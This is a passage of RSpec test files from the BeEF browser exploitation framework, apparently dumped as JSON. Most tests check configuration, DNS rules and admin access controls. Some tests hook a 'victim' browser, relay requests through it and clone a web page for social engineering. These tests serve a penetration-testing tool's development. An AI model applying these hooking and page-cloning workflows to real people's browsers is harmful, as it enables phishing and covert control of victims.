do\n    context 'with string input' do\n      it 'splits string by newlines and formats each line' do\n        multi_line = \"line1\\nline2\\nline3\"\n        expect($stdout).to receive(:puts).with(match(/line1/))\n        expect($stdout).to receive(:puts).with(match(/line2/))\n        expect($stdout).to receive(:puts).with(match(/\\|_  line3/)) # Last line has \"|_\"\n        expect(logger).to receive(:info).exactly(3).times\n        print_more(multi_line)\n      end\n\n      it 'formats last line with |_ prefix' do\n        single_line = 'single line'\n        expect($stdout).to receive(:puts).with(match(/\\|_  single line/))\n        expect(logger).to receive(:info).with(match(/\\|_  single line/))\n        print_more(single_line)\n      end\n    end\n\n    context 'with array input' do\n      it 'formats each array element as a line' do\n        lines_array = %w[line1 line2 line3]\n        expect($stdout).to receive(:puts).exactly(3).times\n        expect(logger).to receive(:info).exactly(3).times\n        print_more(lines_array)\n      end\n\n      it 'formats last array element with |_ prefix' do\n        lines_array = %w[line1 line2]\n        expect($stdout).to receive(:puts).with(match(/\\|   line1/))\n        expect($stdout).to receive(:puts).with(match(/\\|_  line2/))\n        print_more(lines_array)\n      end\n    end\n  end\n\n  describe '#print_over' do\n    it 'calls logger.info with the message' do\n      expect(logger).to receive(:info).with(test_message)\n      print_over(test_message)\n    end\n\n    it 'outputs formatted message to stdout' do\n      # print is a private Kernel method, hard to stub directly\n      # We verify the function executes and calls logger\n      # The actual output includes ANSI color codes and carriage return\n      expect { print_over(test_message) }.not_to raise_error\n      expect(logger).to have_received(:info).with(test_message)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/ruby/security_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'spec_helper'\n\nRSpec.describe 'Security method overrides' do\n  it 'overrides exec method' do\n    # The exec method should be overridden to prevent usage\n    # We can't easily test the exit behavior without forking\n    # so we just check that the method is overridden\n    expect(method(:exec).source_location).not_to be_nil\n    expect(method(:exec).source_location[0]).to include('core/ruby/security.rb')\n  end\n\n  it 'overrides system method' do\n    # The system method should be overridden\n    expect(method(:system).source_location).not_to be_nil\n    expect(method(:system).source_location[0]).to include('core/ruby/security.rb')\n  end\n\n  it 'overrides Kernel.system method' do\n    # Kernel.system should be overridden\n    expect(Kernel.method(:system).source_location).not_to be_nil\n    expect(Kernel.method(:system).source_location[0]).to include('core/ruby/security.rb')\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/ruby/string_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'spec_helper'\n\nRSpec.describe 'String colorization' do\n  it 'includes Term::ANSIColor module' do\n    expect(String.included_modules).to include(Term::ANSIColor)\n  end\n\n  it 'can use color methods on strings' do\n    string = 'test'\n    expect(string.respond_to?(:red)).to be(true)\n    expect(string.respond_to?(:green)).to be(true)\n    expect(string.respond_to?(:blue)).to be(true)\n  end\n\n  it 'applies color methods correctly' do\n    string = 'hello'\n    colored = string.red\n\n    expect(colored).to be_a(String)\n    expect(colored).not_to eq(string) # should now be: \"\\e[31mhello\\e[0m\" (red colored hello)\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/settings_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'spec_helper'\n\nRSpec.describe 'BeEF::Settings' do\n  describe '.extension_exists?' do\n    it 'returns true for existing extensions and false for non-existing ones' do\n      # Test with a known extension if available\n      expect(BeEF::Settings.extension_exists?('AdminUI')).to be(true) if BeEF::Extension.const_defined?('AdminUI')\n\n      expect(BeEF::Settings.extension_exists?('NonExistentExtension')).to be(false)\n    end\n\n    it 'raises errors for invalid inputs' do\n      expect { BeEF::Settings.extension_exists?(nil) }.to raise_error(TypeError)\n      expect { BeEF::Settings.extension_exists?('') }.to raise_error(NameError)\n    end\n  end\n\n  describe '.console?' do\n    it 'delegates to extension_exists? with Console' do\n      allow(BeEF::Settings).to receive(:extension_exists?).with('Console').and_return(true)\n      expect(BeEF::Settings.console?).to be(true)\n\n      allow(BeEF::Settings).to receive(:extension_exists?).with('Console').and_return(false)\n      expect(BeEF::Settings.console?).to be(false)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/extensions/adminui_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'extensions/admin_ui/classes/httpcontroller'\nrequire 'extensions/admin_ui/classes/session'\nrequire 'extensions/admin_ui/controllers/authentication/authentication'\n\nRSpec.describe 'BeEF Extension AdminUI' do\n  before(:all) do\n    @session = BeEF::Extension::AdminUI::Session.instance\n    @config = BeEF::Core::Configuration.instance\n  end\n\n  after(:all) do\n    @config.set('beef.restrictions.permitted_ui_subnet',[\"0.0.0.0/0\", \"::/0\"])\n  end\n\n  it 'loads configuration' do\n    expect(@config.get('beef.restrictions')).to have_key('permitted_ui_subnet')\n  end\n\n  it 'confirms that any ip address is permitted to view the admin ui' do\n    ui = BeEF::Extension::AdminUI::HttpController.new\n    expect(@config.set('beef.restrictions.permitted_ui_subnet',[\"0.0.0.0/0\", \"::/0\"])).to eq true\n    expect(ui.authenticate_request(\"8.8.8.8\")).to eq true\n  end\n\n  it 'confirms that an ip address is permitted to view the admin ui' do\n    ui = BeEF::Extension::AdminUI::HttpController.new\n    expect(@config.set('beef.restrictions.permitted_ui_subnet',[\"192.168.10.1\"])).to eq true\n    expect(ui.authenticate_request(\"192.168.10.1\")).to eq true\n  end\n\n  it 'confirms that an ip address is not permitted to view the admin ui' do\n    ui = BeEF::Extension::AdminUI::HttpController.new\n    expect(@config.set('beef.restrictions.permitted_ui_subnet',[\"10.10.10.1\"])).to eq true\n    expect(ui.authenticate_request(\"8.8.8.8\")).to eq false\n  end\n\n  it 'confirms that X-Forwarded-For cant be spoofed when reverse proxy is disabled' do\n    ui = BeEF::Extension::AdminUI::HttpController.new\n    expect(@config.set('beef.restrictions.permitted_ui_subnet',[\"192.168.0.10\"])).to eq true\n    expect(@config.set('beef.http.allow_reverse_proxy',false)).to eq true\n    env = { \"REQUEST_METHOD\" => \"GET\", \"PATH_INFO\" => \"/ui/authentication\" }\n    request = Rack::Request.new(env) \n    request.add_header(\"HTTP_X_FORWARDED_FOR\",\"192.168.0.10\")\n    request.add_header(\"REMOTE_ADDR\",\"192.168.0.20\")\n    expect(ui.get_ip(request)).to eq \"192.168.0.20\"\n  end\n\nend"
  },
  {
    "path": "spec/beef/extensions/dns_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'resolv'\nrequire 'extensions/dns/extension.rb'\n\nRSpec.describe 'BeEF Extension DNS' do\n\n  IN = Resolv::DNS::Resource::IN\n\n  before(:all) do\n    @config = BeEF::Core::Configuration.instance\n    @config.load_extensions_config\n    @dns = BeEF::Extension::Dns::Server.instance\n  end\n\n  after(:all) do\n    # Stop the DNS server after each test case\n    BeEF::Extension::Dns::Server.instance.stop # this might not be needed?\n  end\n\n  it 'loaded configuration' do\n    config = @config.get('beef.extension.dns')\n    expect(config).to have_key('protocol')\n    expect(config).to have_key('address')\n    expect(config).to have_key('port')\n    expect(config).to have_key('upstream')\n  end\n\n  it 'responds to interfaces' do\n    expect(@dns).to respond_to(:add_rule)\n    expect(@dns).to respond_to(:get_rule)\n    expect(@dns).to respond_to(:remove_rule!)\n    expect(@dns).to respond_to(:get_ruleset)\n    expect(@dns).to respond_to(:remove_ruleset!)\n  end\n\n  context 'add good rule' do\n\n    it '1.2.3.4' do\n      id = nil\n      response = '1.2.3.4'\n      expect {\n        id = @dns.add_rule(\n          :pattern => 'foo.bar',\n          :resource => IN::A,\n          :response => [response] ) do |transaction|\n            transaction.respond!(response)\n        end\n      }.to_not raise_error\n      expect(id).to_not be_nil\n    end\n\n    it '9.9.9.9' do\n      id = nil\n      response = '9.9.9.9'\n      expect {\n        id = @dns.add_rule(\n          :pattern => %r{i\\.(love|hate)\\.beef\\.com?},\n          :resource => IN::A,\n          :response => [response] ) do |transaction|\n            transaction.respond!(response)\n        end\n      }.to_not raise_error\n      expect(id).to_not be_nil\n    end\n\n    it 'domains' do\n      response = '9.9.9.9'\n      domains = %w(\n        i.hate.beef.com\n        i.love.beef.com\n        i.love.beef.co\n        i.love.beef.co )\n      domains.each do |d|\n        id = nil\n        expect {\n          id = @dns.add_rule(\n            :pattern => %r{i\\.(love|hate)\\.beef\\.com?},\n            :resource => IN::A,\n            :response => [response] ) do |transaction|\n              transaction.respond!(response)\n          end\n        }.to_not raise_error\n        expect(id).to_not be_nil\n      end\n\n    end\n\n    context 'add bad rule' do\n\n      it '4.2.4.2' do\n        id = nil\n        same_id = nil\n        pattern = 'j.random.hacker'\n        response = '4.2.4.2'\n\n        expect {\n          id = @dns.add_rule(\n            :pattern => pattern,\n            :resource => IN::A,\n            :response => [response] ) do |transaction|\n              transaction.respond!(response)\n          end\n        }.to_not raise_error\n\n        expect {\n          same_id = @dns.add_rule(\n            :pattern => pattern,\n            :resource => IN::A,\n            :response => [response] ) do |transaction|\n              transaction.respond!(response)\n          end\n        }.to_not raise_error\n\n        expect {\n          same_id = @dns.add_rule(\n            :pattern => pattern,\n            :resource => IN::A,\n            :response => [response] ) do |transaction|\n              transaction.respond!(response)\n          end\n        }.to_not raise_error\n\n        expect(id).to eql(same_id)\n      end\n\n    end\n\n  end\n\n  # it 'id format' do\n  #   pattern = 'dead.beef'\n  #   response = '2.2.2.2'\n  #   id = nil\n\n  #   expect {\n  #     id = @dns.add_rule(\n  #       :pattern => pattern,\n  #       :resource => IN::A,\n  #       :response => [response] ) do |transaction|\n  #         transaction.respond!(response)\n  #     end\n  #   }.to_not raise_error\n\n  #   expect(id.length).to eql(8)\n  #   expect(id).to match(/^\\h{8}$/)\n  # end\n\n\n  it 'get good rule' do\n    pattern = 'be.ef'\n    response = '1.1.1.1'\n    id = nil\n\n    expect {\n      id = @dns.add_rule(\n        :pattern => pattern,\n        :resource => IN::A,\n        :response => [response] ) do |transaction|\n          transaction.respond!(response)\n      end\n    }.to_not raise_error\n\n    expect(id).to_not be_nil\n    rule = @dns.get_rule(id)\n\n    expect(rule).to be_a(Hash)\n    expect(rule.length).to be > 0\n    expect(rule).to have_key(:id)\n    expect(rule).to have_key(:pattern)\n    expect(rule).to have_key(:resource)\n    expect(rule).to have_key(:response)\n    expect(rule[:id]).to eql(id)\n    expect(rule[:pattern]).to eql(pattern)\n    expect(rule[:resource]).to eql('A')\n    expect(rule[:response]).to be_a(Array)\n    expect(rule[:response].length).to be > 0\n    expect(rule[:response].first).to eql(response)\n  end\n\n  it 'get bad rule' do\n    expect(@dns.get_rule(42)).to be_nil\n  end\n\n  it 'remove good rule' do\n    pattern = 'hack.the.gibson'\n    response = '1.9.9.5'\n    id = nil\n\n    expect {\n      id = @dns.add_rule(\n        :pattern => pattern,\n        :resource => IN::A,\n        :response => [response] ) do |transaction|\n          transaction.respond!(response)\n      end\n    }.to_not raise_error\n\n    expect(@dns.remove_rule!(id)).to be(true)\n  end\n\n  it 'remove bad rule' do\n    expect(@dns.remove_rule!(42)).to be_nil\n  end\n\n  it 'get ruleset' do\n    rules = [\n      { pattern: 'be.ef', resource: 'Resolv::DNS::Resource::IN::A', response: ['1.1.1.1'] },\n      { pattern: 'dead.beef', resource: 'Resolv::DNS::Resource::IN::A', response: ['2.2.2.2'] },\n      { pattern: 'foo.bar', resource: 'Resolv::DNS::Resource::IN::A', response: ['1.2.3.4'] },\n      { pattern: 'i\\.(love|hate)\\.beef.com?', resource: 'Resolv::DNS::Resource::IN::A', response: ['9.9.9.9'] },\n      { pattern: 'j.random.hacker', resource: 'Resolv::DNS::Resource::IN::A', response: ['4.2.4.2'] }\n    ]\n\n    @dns.remove_ruleset!\n    expect(@dns.get_ruleset.length).to eql(0)\n\n    rules.each do |r|\n      @dns.add_rule(\n        :pattern => r[:pattern],\n        :resource => IN::A,\n        :response => r[:response]\n      )\n    end\n\n    ruleset = @dns.get_ruleset\n    #ruleset.sort! { |a, b| a[:pattern] <=> b[:pattern] }\n    expect(ruleset.length).to eql(5)\n\n    rules.each_with_index do |v,i|\n      expect(ruleset[i][:pattern]).to eql(v[:pattern])\n      expect(ruleset[i][:resource]).to eql(v[:resource])\n      expect(ruleset[i][:response]).to eql(v[:response])\n    end\n  end\n\n  it 'remove ruleset' do\n    expect(@dns.remove_ruleset!).to be(true)\n    expect(@dns.get_ruleset.length).to eql(0)\n  end\n\n  it 'failure types' do\n\n  end\n\nend\n\n\n\n\n  # Tests each supported type of query failure\n#  def test_13_failure_types\n#    begin\n#      id = @@dns.add_rule(\n#        :pattern => 'noerror.beef.com',\n#        :resource => IN::A,\n#        :response => ['1.2.3.4'] ) do |transaction|\n#          transaction.failure!(:NoError)\n#      end\n#      #check_failure_status(id, :NoError)\n#    end\n#\n#    begin\n#      id = @@dns.add_rule(\n#        :pattern => 'formerr.beef.com',\n#        :resource => IN::A,\n#        :response => ['1.2.3.4'] ) do |transaction|\n#          transaction.failure!(:FormErr)\n#      end\n##      #check_failure_status(id, :FormErr)\n#    end\n#\n#    begin\n#      id = @@dns.add_rule(\n#        :pattern => 'servfail.beef.com',\n#        :resource => IN::A,\n#        :response => ['1.2.3.4'] ) do |transaction|\n#          transaction.failure!(:ServFail)\n#      end\n#      #check_failure_status(id, :ServFail)\n#    end\n#\n#    begin\n#      id = @@dns.add_rule(\n#        :pattern => 'nxdomain.beef.com',\n#        :resource => IN::A,\n#        :response => ['1.2.3.4'] ) do |transaction|\n#          transaction.failure!(:NXDomain)\n#      end\n#      #check_failure_status(id, :NXDomain)\n#    end\n#\n#    begin\n#      id = @@dns.add_rule(\n#        :pattern => 'notimp.beef.com',\n#        :resource => IN::A,\n##        :response => ['1.2.3.4'] ) do |transaction|\n#          transaction.failure!(:NotImp)\n#      end\n#      #check_failure_status(id, :NotImp)\n#    end\n#\n#    begin\n#      id = @@dns.add_rule(\n#        :pattern => 'refused.beef.com',\n#        :resource => IN::A,\n#        :response => ['1.2.3.4'] ) do |transaction|\n###          transaction.failure!(:Refused)\n#      end\n#      #check_failure_status(id, :Refused)\n#    end\n#\n#    begin\n#      id = @@dns.add_rule(\n#        :pattern => 'notauth.beef.com',\n#        :resource => IN::A,\n#        :response => ['1.2.3.4'] ) do |transaction|\n#          transaction.failure!(:NotAuth)\n#      end\n##      #check_failure_status(id, :NotAuth)\n#    end\n#  end\n#\n##  private\n##\n#  # Confirms that a query for the rule given in 'id' returns a 'resource' failure status\n##  def check_failure_status(id, resource)\n##    rule = @@dns.get_rule(id)\n#    status = resource.to_s.force_encoding('UTF-8').upcase\n#    assert_equal(status, rule[:response][0])\n#\n#    check_dns_response(/status: #{status}/, rule[:resource], rule[:pattern])\n#  end\n#\n#  # Compares output of dig command against regex\n#  def check_dns_response(regex, type, pattern)\n#    address = @@config.get('beef.extension.dns.address')\n#    port = @@config.get('beef.extension.dns.port')\n###    dig_output = IO.popen([\"dig\", \"@#{address}\", \"-p\", \"#{port}\", \"-t\", \"#{type}\", \"#{pattern}\"], 'r+').read\n#    assert_match(regex, dig_output)\n#  end\n##\n##end\n###\n"
  },
  {
    "path": "spec/beef/extensions/network_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'extensions/network/models/network_service'\nrequire 'extensions/network/models/network_host'\n\nRSpec.describe 'BeEF Extension Network' do\n\n  it 'add good local host' do\n    expect {\n      BeEF::Core::Models::NetworkHost.create(:hooked_browser_id => '1234', :ip => '127.0.0.1')\n    }.to_not raise_error\n    expect(BeEF::Core::Models::NetworkHost.where(hooked_browser_id: '1234', ip: '127.0.0.1')).to_not be_empty\n  end\n\n  it 'add good not local host' do\n    expect {\n      BeEF::Core::Models::NetworkHost.create(:hooked_browser_id => '12', :ip => '192.168.1.2')\n    }.to_not raise_error\n    expect(BeEF::Core::Models::NetworkHost.where(hooked_browser_id: '12', ip: '192.168.1.2')).to_not be_empty\n  end\n\n  it 'add good service' do\n    expect {\n      BeEF::Core::Models::NetworkService.create(:hooked_browser_id => '1234', :proto => 'http', :ip => '127.0.0.1', :port => 80, :ntype => 'Apache')\n    }.to_not raise_error\n    expect(BeEF::Core::Models::NetworkService.where(hooked_browser_id: '1234', ip: '127.0.0.1')).to_not be_empty\n\n  end\n\nend\n"
  },
  {
    "path": "spec/beef/extensions/proxy_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'extensions/proxy/extension'\n\nRSpec.describe 'BeEF Extension Proxy' do\n\n  before(:all) do\n    @config = BeEF::Core::Configuration.instance\n    @config.load_extensions_config\n  end\n\n  it 'loads configuration' do\n    config = @config.get('beef.extension.proxy')\n    expect(config).to have_key('enable')\n    expect(config).to have_key('address')\n    expect(config).to have_key('port')\n    expect(config).to have_key('key')\n    expect(config).to have_key('cert')\n  end\n\nend\n"
  },
  {
    "path": "spec/beef/extensions/qrcode_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'extensions/qrcode/extension'\n\nRSpec.describe 'BeEF Extension QRCode' do\n\n  before(:all) do\n    @config = BeEF::Core::Configuration.instance\n    @config.load_extensions_config\n  end\n\n  it 'loads configuration' do\n    config = @config.get('beef.extension.qrcode')\n    expect(config).to have_key('enable')\n    expect(config).to have_key('targets')\n    expect(config).to have_key('qrsize')\n    expect(config).to have_key('qrborder')\n  end\n\nend\n"
  },
  {
    "path": "spec/beef/extensions/requester_spec.rb",
    "content": "require 'extensions/requester/extension'\n\n#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nRSpec.describe 'BeEF Extension Requester' do\n  before(:all) do\n    @config = BeEF::Core::Configuration.instance\n    @config.load_extensions_config\n  end\n\n  it 'loads configuration' do\n    expect(@config.get('beef.extension.requester')).to have_key('enable')\n  end\n\n  it 'has interface' do\n    requester = BeEF::Extension::Requester::API::Hook.new\n    expect(requester).to respond_to(:requester_run)\n    expect(requester).to respond_to(:add_to_body)\n    expect(requester).to respond_to(:requester_parse_db_request)\n  end\n\n  xit 'requester works' do\n    begin\n      ar_snapshot = SpecActiveRecordConnection.snapshot\n      # Start beef server\n      @config = BeEF::Core::Configuration.instance\n      @config.set('beef.credentials.user', 'beef')\n      @config.set('beef.credentials.passwd', 'beef')\n      \n      # Generate API token\n      BeEF::Core::Crypto::api_token\n\n      # Connect to DB\n      ActiveRecord::Base.logger = nil\n      OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: 'beef.db')\n      OTR::ActiveRecord.establish_connection! if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')\n\n      # Migrate if required\n      ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]\n      context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)\n      ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate if context.needs_migration?\n\n      # Start HTTP hook server\n      http_hook_server = BeEF::Core::Server.instance\n      http_hook_server.prepare\n      @pids = fork { BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) }\n      @pid = fork { http_hook_server.start }\n\n      # Wait for server to start\n      sleep 2\n\n      # Hook a new victim and use REST API to send request\n      api = BeefRestClient.new('http', ATTACK_DOMAIN, '3000', BEEF_USER, BEEF_PASSWD)\n      response = api.auth()\n      @token = response[:token]\n\n      while (response = RestClient.get(\"#{RESTAPI_HOOKS}\", {params: {token: @token}})) &&\n            (hb_details = JSON.parse(response.body)) &&\n            hb_details['hooked-browsers']['online'].empty?\n        sleep 2\n      end\n\n      hb_session = hb_details['hooked-browsers']['online']['0']['session']\n      randreq = (0...8).map { (65 + rand(26)).chr }.join\n      RestClient.post(\"#{RESTAPI_REQUESTER}/send/#{hb_session}?token=#{@token}\", \"proto=http&raw_request=GET%20%2Ftest#{randreq}%20HTTP%2F1.1%0AHost%3A%20localhost%3A3000%0A\")\n\n      sleep 2\n      sent_request = RestClient.get(\"#{RESTAPI_REQUESTER}/requests/#{hb_session}?token=#{@token}\")\n      reqid = JSON.parse(sent_request)['requests'][0]['id']\n\n      response = RestClient.get(\"#{RESTAPI_REQUESTER}/response/#{reqid}?token=#{@token}\")\n      expect(response)\n    ensure\n      # Clean up\n      BeEF::Core::Models::Http.where(hooked_browser_id: hb_session).delete_all if defined? hb_session\n      Process.kill('KILL', @pid) if defined? @pid\n      Process.kill('KILL', @pids) if defined? @pids\n      SpecActiveRecordConnection.restore!(ar_snapshot)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/extensions/social_engineering_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'extensions/social_engineering/models/web_cloner'\nrequire 'extensions/social_engineering/web_cloner/web_cloner'\nrequire 'extensions/social_engineering/web_cloner/interceptor'\nrequire 'extensions/social_engineering/models/interceptor'\nrequire 'fileutils'\n\nRSpec.describe 'BeEF Extension Social Engineering' do\n  it 'checks if wget exists' do\n    expect(`which wget`).to include('/wget')\n  end\n\n  context 'when wget exists' do\n    before(:each) do\n      allow_any_instance_of(BeEF::Extension::SocialEngineering::WebCloner).to receive(:system).and_return(false) # Stub to simulate failure\n    end\n\n    xit 'clone web page', if: !`which wget`.empty? do\n      expect {\n        BeEF::Core::Server.instance.prepare\n        BeEF::Extension::SocialEngineering::WebCloner.instance.clone_page(\"https://www.google.com\", \"/\", nil, nil)\n      }.to_not raise_error\n    end\n\n    it 'persistence web cloner', if: !`which wget`.empty? do\n      expect {\n        BeEF::Core::Models::WebCloner.create(uri: \"example.com\", mount: \"/\")\n      }.to_not raise_error\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/extensions/webrtc_spec.rb",
    "content": "require 'rest-client'\n\n#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nRSpec.describe 'BeEF Extension WebRTC' do\n  before(:all) do\n    @config = BeEF::Core::Configuration.instance\n    @config.load_extensions_config\n\n    # json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json\n    # @headers = {:content_type => :json, :accept => :json}\n    # response = RestClient.post(\"#{RESTAPI_ADMIN}/login\", json, @headers)\n    # result = JSON.parse(response.body)\n    # @token = result['token']\n    # @activated = @config.get('beef.extension.webrtc.enable') || false\n\n    # @victim1 = BeefTest.new_victim\n    # @victim2 = BeefTest.new_victim\n\n    # sleep 8\n\n    # # Fetch last online browsers' ids\n    # rest_response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => { :token => @token}}\n    # result = JSON.parse(rest_response.body)\n    # browsers = result[\"hooked-browsers\"][\"online\"]\n    # browsers.each_with_index do |elem, index|\n    #   if index == browsers.length - 1\n    #       @victim2id = browsers[\"#{index}\"][\"id\"].to_s\n    #   end\n    #   if index == browsers.length - 2\n    #       @victim1id = browsers[\"#{index}\"][\"id\"].to_s\n    #   end\n    # end\n  end\n\n  after(:all) do\n    # @victim1.driver.browser.close unless @victim1.nil?\n    # @victim2.driver.browser.close unless @victim2.nil?\n  end\n\n  it 'loads configuration' do\n    config = @config.get('beef.extension.webrtc')\n    expect(config).to have_key('enable')\n    expect(config).to have_key('stunservers')\n    expect(config).to have_key('turnservers')\n  end\n\n  # it 'check two hooked browsers' do\n  #   expect(@activated).to be(true)\n\n  #   response = nil\n  #   expect {\n  #     response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => {:token => @token}}\n  #   }.to_not raise_error\n  #   expect(response).to_not be_nil\n  #   expect(response.body).to_not be_nil\n  #   expect(response.code).to eql(200)\n\n  #   result = JSON.parse(rest_response.body)\n  #   browsers = result[\"hooked-browsers\"][\"online\"]\n  #   expect(browsers).to_not be_nil\n  #   expect(browsers.length).to be >= 2\n  # end\nend\n"
  },
  {
    "path": "spec/beef/extensions/websocket_hooked_browser_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'rest-client'\nrequire 'json'\nrequire_relative '../../spec_helper'\nrequire_relative '../../support/constants'\nrequire_relative '../../support/beef_test'\nrequire 'core/main/network_stack/websocket/websocket'\nrequire 'websocket-client-simple'\n\nRSpec.describe 'Browser hooking with Websockets', run_on_browserstack: true do\n  before(:all) do\n    @__ar_config_snapshot = SpecActiveRecordConnection.snapshot\n    @config = BeEF::Core::Configuration.instance\n    # Grab DB file and regenerate if requested\n    print_info 'Loading database'\n    db_file = @config.get('beef.database.file')\n    print_info 'Resetting the database for BeEF.'\n\n    if ENV['RESET_DB']\n      File.delete(db_file) if File.exist?(db_file)\n    end\n    \n    @config.set('beef.credentials.user', 'beef')\n    @config.set('beef.credentials.passwd', 'beef')\n    @config.set('beef.http.websocket.secure', false)\n    @config.set('beef.http.websocket.enable', true)\n    @ws = BeEF::Core::Websocket::Websocket.instance\n    @username = @config.get('beef.credentials.user')\n    @password = @config.get('beef.credentials.passwd')\n    # Load BeEF extensions and modules\n    # Always load Extensions, as previous changes to the config from other tests may affect\n    # whether or not this test passes.\n    print_info 'Loading in BeEF::Extensions'\n    BeEF::Extensions.load\n\n    # Check if modules already loaded. No need to reload.\n    if @config.get('beef.module').nil?\n      print_info 'Loading in BeEF::Modules'\n      BeEF::Modules.load\n    else\n      print_info 'Modules already loaded'\n    end\n    # Load up DB and migrate if necessary\n    ActiveRecord::Base.logger = nil\n    OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file)\n    # otr-activerecord require you to manually establish the connection with the following line\n    #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.\n    if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')\n      OTR::ActiveRecord.establish_connection!\n    end\n\n    ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]\n    MUTEX.synchronize do\n      context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)\n      if context.needs_migration?\n        ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate\n      end\n    end\n    \n    BeEF::Core::Migration.instance.update_db!\n    # Spawn HTTP Server\n    print_info 'Starting HTTP Hook Server'\n    http_hook_server = BeEF::Core::Server.instance\n    # Generate a token for the server to respond with\n    @token = BeEF::Core::Crypto.api_token\n\n\n    # ***** IMPORTANT: close any and all AR/OTR connections before forking *****\n    disconnect_all_active_record!\n\n    # Initiate server start-up\n    @pid = fork do\n      http_hook_server.prepare\n      BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)\n      http_hook_server.start\n    end\n\n    begin\n      @caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])\n      @caps['name'] = self.class.description || ENV['name'] || 'no-name'\n      @caps['browserstack.local'] = true\n      @caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER']\n\n      @driver = Selenium::WebDriver.for(:remote,\n                                        url: \"http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub\",\n                                        options: @caps)\n      # Hook new victim\n      print_info 'Hooking a new victim, waiting a few seconds...'\n      wait = Selenium::WebDriver::Wait.new(timeout: 30) # seconds\n\n      @driver.navigate.to VICTIM_URL.to_s\n\n      sleep 3\n\n      sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 }\n\n      @session = @driver.execute_script('return window.beef.session.get_hook_session_id()')\n    end\n  end\n\n  after(:all) do\n    server_teardown(@driver, @pid, @pids)\n    disconnect_all_active_record!\n    SpecActiveRecordConnection.restore!(@__ar_config_snapshot)\n  end\n\n  it 'confirms a websocket server has been started' do\n    expect(@ws).to be_a_kind_of(BeEF::Core::Websocket::Websocket)\n  end\n\n  it 'confirms a secure websocket server has been started' do\n    @config.set('beef.http.websocket.secure', true)\n    wss = BeEF::Core::Websocket::Websocket.instance\n    expect(wss).to be_a_kind_of(BeEF::Core::Websocket::Websocket)\n  end\n\n  it 'can successfully hook a browser' do\n    expect(@session).not_to be_nil\n  end\nend\n"
  },
  {
    "path": "spec/beef/extensions/websocket_spec.rb",
